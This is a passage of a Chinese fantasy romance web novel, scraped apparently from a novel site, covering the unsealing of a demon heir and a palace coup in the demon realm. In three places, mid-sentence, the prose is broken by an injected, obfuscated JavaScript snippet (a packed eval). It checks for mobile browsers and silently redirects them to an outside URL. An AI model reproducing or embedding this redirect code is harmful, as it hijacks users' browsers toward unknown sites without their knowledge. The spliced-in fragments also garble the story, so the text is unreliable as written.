陈舒朝没说话,待他起身欲走,才开口:“哪里不一样?” “什么?” “我与她,有哪里不一样。” “她不会甘愿做一个厨子,也不会在见到妖族之主时刻意低着头、不敢去看。更不会像现在这样,客人来到屋内,自己却还没骨头似的倚在床榻上。” 的确,她之前骄傲自信,但也知礼数,不会叫旁人挑出错来。 等人走后,她呢喃:“总不能让人被至亲背叛,还像从前一样胆大知礼。” “什么?” “没事,我要睡了。” 她躺下,盖好被子。 江砚辞坐在椅子上:“师姐睡吧,我替你守着。” 陈舒朝背靠他,面对着墙闭上眼睛。 江砚辞就大胆地盯着她看。 他其实听到了方才师姐的话。 此刻有点心疼,他的师姐,原先该是那样万众瞩目,受万人敬仰,是无数人所向往的。 可是现在,连自己的名字也不能用,隐姓埋名,连样貌都要隐藏起来,处处受限。 他想要他的师姐,鸢飞于天,受万人敬仰。 “江砚辞。” 陈舒朝突然开口,江砚辞一个激灵,从方才的情绪中抽出。 “我在,师姐。” “你说,”陈舒朝犹豫着,“我突破封印后能去哪?” 她肯定是要去复仇的,杀了林野鹤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818197|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,杀了千仞宗宗主、长留,以及圣僧。 在江砚辞看不到的地方,陈舒朝捏紧了掌心,指甲陷进肉里,丝丝鲜血流出,她仿佛感受不到似的,一点点加重力道。 杀了这些人后,她就是名副其实的修真界罪人了。 到时候,她能去哪儿呢? 哪里还有她的容身之处呢? 江砚辞动了动手指,地板上多了两滴水痕。 “总有地方能去的,我们可以找个没人的地方独自生活在那里,没人知道,没人能找到。” “我不想。” 隐居,去往一个谁都找不到的地方,或许刚开始会有很多人叫嚣着要追杀他们,要找到他们。 但总会随着时间的流逝,所有人都会忘记他们,会忘了世界上有个人叫陈舒朝。 她接受不了。 江砚辞没有说话,半晌才开口,声音发颤,带着抽泣:“我也不知道,总会有地方的,先别急着想这个问题,我们先破封印。” 陈舒朝沉默着坐起来,看到江砚辞发红的眼睛,她愣住了:“你哭什么?” 江砚辞闻到了血腥味,循着味道望去,他看到了师姐血肉模糊的手心。 他起身,一步步靠近她,最终,单膝跪地,伏在她腿上,抱住了她的腰。 陈舒朝双手垂至身侧,没有动。 江砚辞仿佛冲破了桎梏,大声哭起来,哭得一抽一抽的,不停地喊她的名字。 “师姐,呜呜呜……师姐……” 陈舒朝僵了僵,双手极慢极慢地、环抱住他,像哄孩子一样拍拍他的背,血都糊在他白色的衣服上。 听他哭了一会儿,陈舒朝推着他的肩膀,将他推开。 “为什么哭?” 江砚辞极力忍住哭泣,还是一抽一抽的:“我、我也不知道,就是忍不住……” 少年眼眶很红,泪水顺着脸颊流向衣领。 陈舒朝眸色渐深,抹去他脸上的泪。 血被泪水糊开,在他白皙的脸上开出一朵朵红色的花。 食指顺着眼泪的流向,滑向他的下巴,脖颈,经过一个小凸起,最终停在衣领被泪水洇湿的地方。 那处凸起上下滑动了两下,江砚辞浑身紧绷,也哭不出来了。 他心脏跳得很快很快,快到要窒息的程度。 她离他很近很近,近到可以看到她脸上细小的绒毛,她的眼睛专注地盯着她手抚摸的地方,睫毛长长的,时不时眨一下。高挺的鼻梁,以及—— 他有想亲上去的冲动。 心跳快得不正常,自己的想法也不正常。 他想起第一次离师姐这样近的时候,自己很不争气地洗了个冷水澡。当时频频浮上脑海的,是师姐的脸。 之后很长一段时间,他不敢看师姐,也不敢再做饭。 就在他为自己的想法默默唾弃的时候,面前的人忽然俯身靠近,在离他不到一寸的地方停住。 她眼睑下垂,有意无意地扫视他的脖颈。 马上就要亲到了。 江砚辞眼神迷离,就要覆上自己的唇,刚前进半寸,猛然惊醒,他猛地后退,跌坐在地。 陈舒朝未动,只是抬了下眼:“怎么?你方才想干什么?” 江砚辞已经完全听不到她在说什么了:“不、不行,男女授受不亲。” 陈舒朝轻笑了下,手指上的血黏腻恶心:“男女授受不亲?” 他的面上,脖颈上全是她的血,沾染上了她的气味,不知为何,她有点兴奋。 江砚辞整个脸颊都烧起来了,可能是极度羞愤,倏然一道白光闪过,化为了原型。 室内一度寂静。 直到江砚辞不小心溢出一句:“……汪。” 34. 妖界(九) 他是只狼啊,狗叫什么! 江砚辞及时收住,有些尴尬。 他学着之前,白光又一闪,变回了人身,但是耳朵和尾巴还是露在外面。 他身上的血没了,浑身干干净净的,陈舒朝看着心痒,对他招手:“过来。” 江砚辞过去了,方一靠近,忽地一个激灵,耳朵抖了抖,尾巴也僵住不摇了。 陈舒朝纤长的手指抚上了他的尾巴,顺着毛撸,他的尾巴毛很长,整个手指都能陷进去,摸着很舒服。 他的耳朵也一动一动的,陈舒朝上手摸了一把。 尾巴那样大,耳朵却是小小一个,一只手就能完全拢住。毛茸茸的耳朵在她手里一跳一跳的,温温热热,让她暖和了不少。 她这里摸摸那里摸摸,尾巴上耳朵上,这里一块血,那里一块血。 江砚辞极力忍着颤抖,全身僵硬不敢动,只在她的手触到时抖抖耳朵,在手离开时甩甩尾巴。 他紧紧抿着嘴巴,怕自己一开口就会溢出些令人羞愤的声音。 陈舒朝玩了一会,见他身上全是血了,又看他一脸可怜样,松了手。 江砚辞一时反应不过来,感觉她的手仿佛还在自己身上。 缓了一会儿,他欲要站起,腿还在发抖,软得几次也没完全站起。 陈舒朝也不帮他,眼含笑意地看着他,以手托腮。 最终扶着旁边椅子的扶手才站起。 尾巴无意识地摇摆,他余光忽地看到尾巴尖上的一抹红色,眸色渐沉,抬眼,她的手上,脸上也都是血。 江砚辞收了尾巴耳朵,从储物袋里拿出灵药。 “师姐,你手伤了。” “我知道,”她有点可惜地扫了眼他的头顶和身后,“不用管,一会儿就好了。” 她对自己挺狠的,下手每个轻重,这么半天了还有血从她手心里滴下,她却毫不在意,流到脖颈上了就用另一只手擦擦,连帕子也懒得拿。 “我给你上点药吧,能快些好。” “好啊。”她倒也不坚持,把手伸给他。 江砚辞第一次看到她手的全貌,简直可以说是血肉模糊,手心的肉外翻,血还在涓涓往外淌。 他顿了顿,把桌子搬来,把她的手按在桌子上,打了一盆水,拿出毛巾和药膏。 ……无处下手。 “怎么?” 陈舒朝掀开眼皮看他。 江砚辞咽了口唾沫,他不是没受过重伤,这点伤与他而言已是家常便饭。只是这红色在师姐身上怎么就这么刺眼。 “没事,我开始了?” 陈舒朝把手往前伸了伸,示意他可以。 毛巾在手里浸了浸,待完全浸湿,拿出来拧干。 江砚辞颤着手,一点一点擦去她脸上、脖颈上、胳膊的血。 因为太过心疼,他什么也顾不上,只全心全心意地擦。擦到手时,动作放轻了许多,太轻擦不掉血,太重又怕她疼,江砚辞掌握好力道,时刻关注着师姐的神态,一旦表现出疼痛的迹象就松手。 两只手都擦干净之后,手里的伤口边缘泛着白色,是有点痒的,她忍着没动。 盆里的水已经是红色了,江砚辞把它放在一边,在手指上沾了一点药膏,往她伤口上抹。 他的动作极轻极轻,像是怕惊扰到什么。 药膏是凉凉的,摸上去很好地缓解了伤口的疼痛与瘙痒。只是他的动作太过轻,反而弄得她痒,她没忍住瑟缩了下。 江砚辞迅速收手,忙问:“弄疼你了么?” “没有,你用力些,太轻了,痒。” 江砚辞点点头,加重了一点点力道,不仔细感觉都感觉不出来。 陈舒朝:“……” 她是这么怕疼的人么? 江砚辞神情专注,手上的动作轻轻柔柔。 陈舒朝实在不想打扰他,可是他的动作太轻了,痒得难受。 “再用点力。” 江砚辞稍稍加重了力道。 “再重点。” 江砚辞迟疑着,加重了一点点点力气。 陈舒朝受不了了,这样子太难受了。她伸出另一只手,握住他的手腕往下压。 江砚辞一惊:“师师师……师姐!” 手按上她的伤口,血被挤出来,沾了他一手。 陈舒朝也不是喜欢疼痛,箍住他手腕不到两息就收了手:“这样的力道也不会有多疼,你方才按得太轻了,痒得慌。” 被握住的手腕还有血的温度,江砚辞愣了半晌。 陈舒朝放好手,用妖力捞过一旁的被子盖在自己身上,打了个哈欠:“你继续弄吧,快点,我困了。” “好。”江砚辞换了一盆水,再次把她手上、自己手腕上擦干净。 这次他用了和毛巾擦血差不多的力道,果然师姐没再说其他。 陈舒朝的确有些倦了,垂着眸看他动作。 他低着头,擦得很认真,仿佛她的手是什么绝世珍宝。 “我想养只小动物。” 江砚辞动作一顿,随即当作什么也没发生的样子,语气平静地问:“想养只什么?” 陈舒朝闭上眼细数:“猫,狗,狐狸之类的都可以。” 江砚辞心里空落落的,原来她摸他的尾巴耳朵只是因为喜欢毛茸茸。 还未等他回答,陈舒朝又自顾自说道:“还是算了,这种小生灵很容易死掉。” “有相似的妖兽可以养。” 妖兽不似妖可以化为人形,他们一生都是兽的摸样,有些妖兽长得软萌可爱,经常被修士养着玩。 “那不一样。” 陈舒朝话落,室内安静了,没人再说话。 直到她的手被上完药。 “好了师姐。”江砚辞给她缠上绷带,“过两日便好了。” 陈舒朝“嗯”了声,躺下睡觉。 江砚辞把血水倒掉,洗了毛巾,又把桌子挪回原位,铺好地铺,也躺下了。 他手捂着心口的位置,待心跳变回正常的速度才闭上眼睡去。 第二日,宋知简和明诗走了,他们两个待在屋里也不怎么出去,直到陆闻枝来找他们,说药草集齐了。 怕他们走得太近被妖族之主看出什么,陆闻枝是变成花枝鼠从窗户进来的。 得到消息后,陈舒朝用妖力隐匿气息,随着陆闻枝走。 到竹屋时,还是两人出去,只留陈舒朝和陆闻舟两人在里面。 木质桌面上摆着所需的草药,摆了整整一个桌面,一个叠一个。 她没急着看陆闻舟,而是先把草药分好类别,整整齐齐地摆好。 摆好后,陈舒朝回头看他,就见他坐在榻上,衣衫半褪,并且还准备脱更多。 忙道:“等等!不需要脱衣服,你穿好。” 陆闻舟“哦”了一声,重新穿好衣服。 陈舒朝拿出药臼和药杵,将第一份要捣碎,倒在一个碗里递给他。 “先治毒,你吃下去。” 陆闻舟看看一碗绿油油的草,又看看她:“就这样吃么?” 陈舒朝:“嗯。” “至少兑点水吧。” “兑水会影响药效——你怕苦?” 陆闻舟确实怕,但总觉着说出来丢脸,于是嘴硬道:“谁怕了?我就是觉得这样不太方便吃而已。” 他拿过碗筷,咽了口唾沫。 这看着……一坨绿色,怎么可能吃得下去。 可他话都说了,也不能临时反悔。 他拧眉闭气,一下子全扒嘴里,嚼也不嚼就咽下去。 舌头一定变成绿色了吧? 他差点就吐出来了,这药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823101|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在是太苦了,比他以往吃的都苦,苦得前无古人后无来者,苦得惨绝人寰。 他从榻上滑下去,转身扒着榻边干呕。 太难吃了,怎么会有这么难吃的药! 陈舒朝顺势拍拍他的背:“不要吐出来,吐出来也得再吃进去,别浪费了药。” 陆闻舟一听这话,面露恐惧,也不干呕了,立马端正坐好。 还积极问:“接下来干什么?” “等。” 一个字说完,陈舒朝用妖力屏蔽了自己的嗅觉。 起先陆闻舟不理解,过了一会儿忽然又一股恶臭传来,他差点把刚才的药吐出来! 仔细闻了闻,最终发现是自己身上的味道,再一看,自己身上覆了一层黑色的脏污。 他脸一红,看到陈舒朝默默离他远了些。 “……这是什么?” 陈舒朝耐心解答:“是你体内排出的毒。” 这么说,陆闻舟仔细地感受了□□内,毒对他的影响确实减弱了。 就是这方式吧……有点太臭了。 “……我去洗个澡。” “先别去,等毒排完。” “什么时候排完?” “你自己感觉,你的身体你了解,硬要说的话,就是很长一段时间内身体上的脏污不再增加。” 陆闻舟想他还是自己感觉吧,这些脏东西不能在他身上多待须臾。 大概半个时辰后,他去里间沐浴了。趁这个时间,陈舒朝把下一份药准备好。 陆闻舟出来后气色好很多了,常年苍白如雪的皮肤出现了血色,面色也红润润的,像个正常人了。 他出来看到陈舒朝手中的碗,一脸不可置信地问:“怎么还要喝一遍?” 不同药草捣出来是不一样的,这一碗一看就和刚才的一模一样。 陈舒朝解释:“清一下余毒。” 陆闻舟警惕地问:“这是解毒药的最后一碗了吧?” “是,最后一碗,这次完了之后开始解除封印。” 陆闻舟紧闭双眼,一口干了,然后静静等待身体排毒。 这次比上次好多了,只有一点点的脏污排出体内,还不算太臭。 再一次沐浴完,他的舌头已经没了味觉,他现在觉得最苦的药也不过如此。 自己做的药,陈舒朝也知道这样的搭配有多苦,之前也是因为自己的药方太苦才没能代替更贵的药材而流行。 毕竟吃得起仙丹的都是不缺灵石的,他们都不差那几十块灵石。 为解开封印而准备的药被分成了好几份,陈舒朝一边捣一边解释:“我没有解封印的法子。” 还没等陆闻舟疑惑,她继续道:“但是我知道怎么强行解开封印,强行解开封印会损伤你的心脉,这药是护心脉的。” 陆闻舟不可置信,这是正经法子么!损伤心脉?这不得疼死? 这人是魔王来的吧? 陆闻舟像看仇人一样看着那碗绿油油黑黢黢的药,陈舒朝端着碗温声道:“乖,吃药,这药可以护住你的心脉。” 桌上还有分好的好几份药,他惊恐道:“桌上为什么还有那么多?” “那些啊,”陈舒朝瞥一眼,“一次全吃下去你可能受不住药效,分开吃,每次心脉要碎时及时吃下下一碗就可保命。” 光是听着就觉得自己要死了。 但……他心一横:“干了。” “有志气,给。” 陆闻舟像饿了两天似的,狼吞虎咽地吃下,味儿都没尝到。 陈舒朝观察着他,着手准备下一份。 “坐好,感受体内妖气,运转周天。” 在陈舒朝眼中,陆闻舟体内的经脉清晰可见。 妖力在他体内缓慢地运转周天,陈舒朝只在阻塞时出手,以妖力强行打通经脉。 35. 妖界(十) 强行打通经脉的痛苦不小,即便陆闻舟做了准备还是被忽然而来的疼激得蹙眉。 “这点儿疼都受不了了?忍一下。” “看不起谁呢,这才哪到哪?” 陈舒朝但笑不语。 没过一会儿,陆闻舟就说不出话了,忍耐疼痛已经耗光了他所有的精力,疼痛的汗液浸湿了他的衣衫,他紧抿着唇一声不吭。 疼到极处,还会用牙齿咬住下唇,确保自己不发出一点声音。 陈舒朝看他快要承受不住,及时将药递出。 这种时候陆闻舟也顾不上苦不苦了,抓到就吃,一碗药下肚,好受了许多。 他深吸一口气,苦笑:“你这法子倒是折磨。” 陈舒朝眼神都没有给他,专注捣药:“现在后悔还来得及。” “怎么可能。” 一时没人说话,只有捣药声和男人不可抑制的痛呼。 “我们这边只有你一个化神,对面有四个,能打得过么?” “你说反了。”在极致的痛意中,陆闻舟笑了,“应该是——我们这边四个,对面一个。” 他这样说,陈舒朝一下子想到刚见面时的三盏茶。 她将新捣好的药给他:“你将他们策反了?可茶只有三杯。” “我没喝,”陆闻舟两口咽下,“我不喜茶。” 他又补充一句:“一点都不喜欢。” 不喜茶,天赋却在茶。 陈舒朝没有多问:“你能驾驭得了化神巅峰的实力么?” 就算是三个化神初期,对上一个化神巅峰,胜算也不高。 陆闻舟暗道枝枝什么都往外说,他没有直接回答:"你能猜到毒是谁下的么?" 没等陈舒朝回答,他自顾自继续说:“是我的母亲。” 陈舒朝捣药的手一顿,又若无其事地继续动作。 “那时少煊——也就是舅舅夺权,父皇和母后保护我和枝枝逃走,父皇死了,母后重伤,她自知活不久,又因为枝枝实在太过年幼怕她承受不住,将一身修为给了我。” 他当时也才十四岁。 “我自小在族中不受重视,她怕我心有怨恨伤害枝枝,于是给我下了毒——我注定会死,但若对枝枝下手,则会立即暴毙。” 他其实从未有过怨恨,也很喜欢自己的妹妹,他甚至早前就发过誓,要保护妹妹一辈子。 “他们以为这样就万无一失了,可从未想过,我因修炼天赋太差,整日摘花泡茶,连剑都没拿过。” 理所当然地,他们被抓了。 距今三十年,日日都忍受着蚀骨之痛,日日也在锻体练剑法修习。 虽说比起真正的化神巅峰可能会差一点,但是若有三个化神初期助力,再加上数百个金丹,他至少有九成把握。 “封印是少煊下的,他用的是族中秘术,现在知道这个术法的也就只有他了。” 这么说着话转移注意力,陆闻舟好受多了。 破除封印不是个容易的事情,直到第二日天边破晓,才算彻底破除了封印。 陈舒朝了解了他所做的准备,安心多了,她擦擦汗道:“刚破封印,先适应两日,做好万全的准备再上。” 陆闻舟躺在榻上,感觉快昏死过去了,闻言用气音“嗯”了一声,再没有声响。 陈舒朝贴心地施了个清洁术,让他睡得更舒服。 刚打开门,就有一人冲进去,口中喊着:“哥哥!” 陈舒朝拉住她,伸出一根手指挡住她的唇,小声道:“嘘,你哥哥累了,让她好好休息。” 陆闻枝踮起脚看向里面,确认哥哥躺在榻上,呼吸平稳。 “谢谢东东姐姐,我送你们回去。” 陈舒朝看一眼方才想上前又止住的江砚辞,回头对陆闻枝笑笑:“好,多谢枝枝了。” 已经走过一遍了,回去的路快了不少,到了他们住的地方,枝枝朝他们挥挥手,头也不回地离开了。 哥哥护着妹妹,妹妹也在担心哥哥。 目送她离开,陈舒朝回头,见江砚辞一直在盯着她。 解决了一件事,陈舒朝高兴不少,笑着问他:“怎么了?” 江砚辞:“我还不知道陆闻舟到底是敌是友。” 当时茶盏的异样他也发现了,他怕陆闻舟对师姐不利,在外坐立不安地等了一天,可是在师姐开门时,他却没有第一时间迎上去。 他要确认的只是师姐的平安而已,师姐现在平平安安的就是好消息,为什么还会失落呢? 他看起来很不开心,陈舒朝想,可能是孩子离开她太久了,于是伸出双臂:“要抱一下么?” 江砚辞:“要。” 他甚至迫不及待,快走了两步,抱住了陈舒朝。 师姐的味道是极淡极淡的血腥味,像是久经战场的人,即便离了战场也洗不去身上的血腥味,因为已经刻入了灵魂。 可她又是温软的,下巴抵在她肩膀上,感觉全身都要被软化了。抱着这么一团温香软玉,他既不敢太用力,又想要用力将她按进自己的身体里。 陈舒朝还记得自己刚带他进入无量宗的时候,还没有她的肩膀高,现在已经长得比她高半个头了。 这么切身地抱着,她才感受到他的成长,他长得宽肩窄腰,胸膛结实,已经可以称得上是男人了。 可她就喜欢称呼他为少年,在她眼里,他还是个小孩子。 抱着抱着,江砚辞神色一沉,他闻到了混在血腥味与药味中间的一丝茶香。 忽地心底戾气横生,意识到时他自己都吓了一跳。 解封印势必要接触得近些,染上点味道也无可厚非,洗一洗就掉了,自己在想什么? 他发觉自己不正常,而不正常的源头正是师姐。 就这么抱了将近一刻钟,陈舒朝腿都僵了,她推推他:“好了么,我还有话要说。” 江砚辞猛然回神,往后退了两步:“抱歉。” “道歉做什么,就因为你多抱了会儿?我本来也没说要抱多长时间。” 江砚辞也不知道自己在道什么歉,想不明白,便等着师姐开口说事。 陈舒朝将现在的情况说了:“……所以,剩下就等他适应适应,然后他和现在的皇室打,登基之后把月华凝露草给我们。” “那剩下的就只用等了。” “嗯,我累了,睡吧。” 她是真的累了,洗漱完躺在床上没一会儿就睡着了。 江砚辞却辗转反侧睡不着。 活了几十年,他第一次有这种感觉,他不知道为什么,虽说这些情绪的源头都是因为师姐,可他也明确地知道师姐并没有对他做什么。 问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852212|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现在自己身上。 胡思乱想半夜,他也睡着了。 两天后,陆闻舟醒来了,第三日,几人聚在小竹屋里。 除了陆闻枝陆闻舟兄妹,还有三位陌生人。 陈舒朝猜测:“这三位就是少煊的幕僚?” 一位看起来长得五大三粗,似乎是他们头目的人开口:“正是我们,幸会,我叫赵一。” 第二位看起来长得斯斯文文:“我叫赵二。” 第三位看起来阴翳骇人,声音沙哑至极:“我叫赵三。” 名字挺好记。 陈舒朝在心里默默吐槽。 “我叫东东,幸会幸会。” “我叫水水,幸会幸会。” 陆闻枝觉得好玩,也加入:“我叫枝枝,幸会幸会。” “咳咳,”陆闻舟假装咳嗽,见众人安静,说明了请他们聚在一起的用意,“大家都是同盟了,今日让大家都认识一下,相互熟悉,方便之后的计划。” 原来还有计划,陈舒朝还以为他们会直接上,毕竟实力差距在那里。 赵一重重拍了下桌子,大喝:“我早就看少煊不顺眼了!他订的都是什么狗屁规矩,下面的民不聊生他是一点儿也没看到!整日只顾着自己寻欢作乐!” 赵二附和:“大哥说的对!他这样妖界迟早自取灭亡!” 赵三举手,语速缓慢:“我也赞成。” 陈舒朝学着他们:“我们不了解现在的皇室,但是听你们说,这皇室还真可恨!” 江砚辞:“真是太可恨了!” 几人笑作一团,赵一长叹:“太好了,只要有陆闻舟少爷在,我相信这一次我们一定可以成功!” “相信陆闻舟少爷!” “陆闻舟少爷万岁!” “万岁!” 他们的声音让本就不结实的竹楼雪上加霜,陆闻舟赶紧制止:“咳咳,你们安静点儿,这楼很老了。” “哦哦。”几人配合地放低了声音。 “大家都熟悉了,我们聊一下计划吧。把你们知道的,关于少煊的,全都说出来。” 赵一想了想,道:“你们要当心,他会用禁术控制人。被控制的人会听令于他,但自己毫无所觉。” “并且这个禁术非常阴邪,中术者从中术那一天开始,活不过五年。” 五年对于妖来说不过转瞬即逝,的确算得上是非常阴邪的禁术。 若是身边的人中了……后果不堪设想。 陆闻舟蹙了眉,看来计划要更改。 三位幕僚尽管对少煊所为深恶痛绝,但他们日日与他相伴,难保不会中术。 赵二补充道:“不过这法子对施术者本身损耗也极大,他应当不会轻易使用。” “但愿吧。” 几人聊到夜幕降临,对彼此都有了一些了解,于是散场。 * 两人回到自己房间,陈舒朝对江砚辞道:“少煊不一定没用那个禁术,最近我们轮流站岗吧。” 江砚辞也是这样认为的,他点头:“今晚我守夜,师姐睡觉吧。” 她也没推脱,躺床上睡了。 陆闻舟熟悉修为还要三日,前两日什么都没发生,第三天白日,陈舒朝道:“明日就要开始了,今晚我们一起守吧。” 总觉得,有种风雨欲来的平静。 36. 妖界(完) 夜晚。 无星无月,是个阴天。 陈舒朝坐在榻上打坐,江砚辞闭眸假寐,实则时刻注意着周围。 最后一晚了,不能出岔子。 忽听异响声起,江砚辞倏然睁眼,朝窗外看去。 ——原来只是风吹动树叶发出的沙沙声,有风从窗外吹进来,微凉。 江砚辞松了一口气,起身关窗。走到窗前还伸出头左右看了看,确定没有异样才重新躺回去。 夜半,大风突起,刮开了窗子,江砚辞再次起身关窗,却在站在窗前时,从呼啸的风声中,听出了一道不一样的声音。 他还未反应过来,便有一道妖力帮他挡下了攻击,陈舒朝将他拉至身后,避免被妖力冲击波波及到。 “来了。”师姐的声音响在耳畔。 少煊的傀儡,会是谁? 陈舒朝立马破窗而出,江砚辞紧随其后,落地便是无数刀光剑影。 一道道妖力朝他们劈来,两人回以妖力。 妖,不常用剑,他们为避免暴露,尽量用的妖力,在妖界待的十几天,妖力的使用不说可以完全代替剑,但完全可以说熟练了。 在这里打太过引人注目,陈舒朝能感受到对方一边打,一边在往无人处退。 对面一身黑衣大兜帽遮脸,看不出是谁。 陈舒朝拧眉追去,这偌大的皇宫,无人的地方只有后院的的桃林里。 这时节,桃花开得正盛,一片粉嫩嫩的颜色,因受到攻击扑簌簌落下,掉了满地,还有几片落在头上。 陈舒朝甩去头顶上的花,专心应战。 对方是个化神,很明显是赵氏三兄弟中的一个,可他遮挡太严,看不出到底是哪个。 一道妖力袭来,陈舒朝及时挡住,江砚辞趁机从侧面攻击,却被轻松化解。 他蹙了眉,元婴与化神的差距太大了。 江砚辞调整姿势,再度发起攻击,仍旧被裆下。 陈舒朝也打不动,但胜在身法灵火,对方也抓不住她。 就这么僵持了半个时辰,对方有点不耐了,蓄力打出一道超大范围的攻击。 黑夜骤然亮起一道光芒,转瞬间亮如白昼。 江砚辞瞳孔一缩,朝师姐奔去,边跑边拿出储物袋里的防御性法器。 他甚至用上了大部分灵力,只为再快些。 世界在他眼中变得慢了起来,最后两步,他猛地往前一扑:“师姐——!” 最后关头,他紧紧地抱着她,法器光芒大胜,遮住两人的身影。 只不过时间太过紧急,法器没有完全发挥作用,两人还是被震晕了过去。 晕过去前,江砚辞在前面承受了大部分攻击,但抱陈舒朝的手是紧的,让她感受到了一点窒息。 之后,便眼前一黑,没了意识。 再醒来时,浑身都疼,陈舒朝费力地睁开眼,看到了一张近在咫尺的脸。 “呦,醒了?” 对方道。 她看向身边,江砚辞还未醒,脑中浮现出他奋不顾身跑向自己的画面。 她甩甩头,对他道:“果然是你啊。” “——赵一。” 赵一被挑起了兴趣:“怎么看出来的?我以为你们会怀疑老三。” “你演得太假了、太过刻意了。而赵三又太过明显,摆明了告诉对方这是个陷阱。” 是如此么? 赵一嘿嘿一笑,笑得憨厚又老实,但吐出的话语却有着极大的反差:“那又如何?你猜到了又如何,现在还不是被抓了,你的盟友还晕着呢,你们现在只能任我宰割。” 他侧身,露出在一旁淡定喝茶的少煊,少煊对着他们淡淡一笑。 “是么?”陈舒朝隔着铁笼淡淡道,“我们已经猜到了是谁,这意味着,我们可以提前布局了。” 她故意压低声音,在黑暗的地下室中显得格外阴森。 赵一吓得后退两步,转而又想:管他有什么布局,他们受伤是真受了,还能瞬间恢复起来打他不成? 就算是真的也没用,他们打不过。 这么想着,他又挺起腰来:“老实说,你们到底是谁?” 陈舒朝不接茬:“既然要问不显出点诚意?让你们老大来。” 她说的老大是指少煊。 少煊本来没给她一个眼神,听到此话转过头来。 宋知简来的那日没看清长相,今日看清了。 少煊长着一副病弱书生模样,温文尔雅、笑意清浅,一点也不像个夺权的皇帝。 他开口,却是狂妄至极:“你有什么资格和我说话?” “我知道他所说的禁术是假的,名为禁术实为利益吧,但很可惜,你的确残暴专横,另外两个是真心实意希望你下台。” “你怎么就确定他们是真心实意的了?”少煊表情变了。 陈舒朝意味深长地一笑。 本来不确定,刚才确定了。 少煊看她表情,知道自己被套路了,他也不恼,倒是饶有兴致:“你挺聪明。” “我知道,还用你说么?” 少煊一噎,选择忽略她的话。 “你知道我为何要夺权么?” “不感兴趣。” 他又一噎,仍旧选择自说自话:“我出生在虎族旁支,虎族一家独大,作为旁支我也是从小养尊处优。从小我就勤奋修炼,想要有朝一日进入皇室,成为皇室成员。” “但是,妖族从动物化来,有着天生的种族压制,我的头上压着的,便是纯正的皇室虎族。” 他似是回忆起了不好的事,整个人疯疯癫癫,说到激动处还会站起来,手舞足蹈。 “不管我多么努力,不管我又多么上进,我都不可能进入皇室!也不可能得到他们的一句夸赞!” “只因为我不是纯正的虎族,但缺仍受虎族的血脉压制,连一丝反抗的心思也生不出!” “你知道这种感受么!你懂这种感受么!” 陈舒朝瞥他一眼:“抱歉,你刚说什么?我没听,你说得太无聊了。” 少煊面容一僵,茶盏在他手里被捏碎,碎片飞出,擦着陈舒朝的脸过去,留下一道血痕。 “你不懂!你什么也不懂!我生生剥去了属于虎族血脉的部分,才能抵抗来自血脉的压迫!” 生生剥去,听起来挺疼的,再看他癫狂的样子,怪不得,原来被疼傻了。 少煊感受到她看傻子一样的目光,气得要炸,也只能安慰自己不气不气,深吸两口气坐在椅子上,像是等待着什么。 地下无光,分不清时辰,不知道什么时候,头顶忽然传来打斗的声音。 是他们上了。 陈舒朝看他什么反应。 只见他“啪”地一声拍在桌上:“终于来了,你留在这里,我去看看怎么回事。” 少煊走了。 一刻钟后,确认他不会轻易回来了,赵一目光有意无意地掠过两人。 片刻,江砚辞醒了,扫视一圈,明白了大概:“被控制的人是赵一?” 陈舒朝靠墙:“不,是少煊。” 她一动,绑住她的绳子松开落下,陈舒朝站起,帮他松绳子:“禁术根本不存在,是少煊用来让我们相互猜忌的,因为赵三性格,他一开始是想让我们除掉赵三,他真正的杀手锏其实是赵一。” 松绑完成,赵一给她们打开了牢门。 陈舒朝继续道:“利益维持的关系最稳固,也最容易破裂,更何况——” 赵一接话:“先皇于我有恩,若不是他,我们兄弟三个不可能活下来。” 那是很早之前的事了,除了他们没人知道,而再次听到有关皇族的消息,就是旧党崩溃,新皇上位。 紧接着颁布了一系列骇人听闻的政令。 他们三兄弟假意投靠他,实则一直在等待时机。 少煊很信任他们,除了亲卫兵,其余都交给他们管理,他们则在确认陆闻舟陆闻枝兄妹的身份后,将兵权还给了陆闻舟。 他们一直都是同盟。 * 少煊的亲卫兵实力也不弱,这一战打了五日,并很好地控制在了皇城内,下面的城池没有受到一点波及。 原本还要打更长时间,到第三日,十城城主也加入了战场。 赢是毫无悬念的,陈舒朝与江砚辞就打打下手,并没有去中心战场,两人本就受了不轻的伤,在看到十城城主来了后就干脆去养伤了。 战争结束后隔日,陆闻舟坐上了妖族之主的位置,当天,他废除了所有不合理的法规,包括皇城只有纯种虎族能进的规定。 他觉得,他们为妖,与没有灵智的动物最大的区别便是弱化了种族之分。 同时,他承诺,等陆闻枝修炼到了化神,就自动退位。 众妖沸腾。 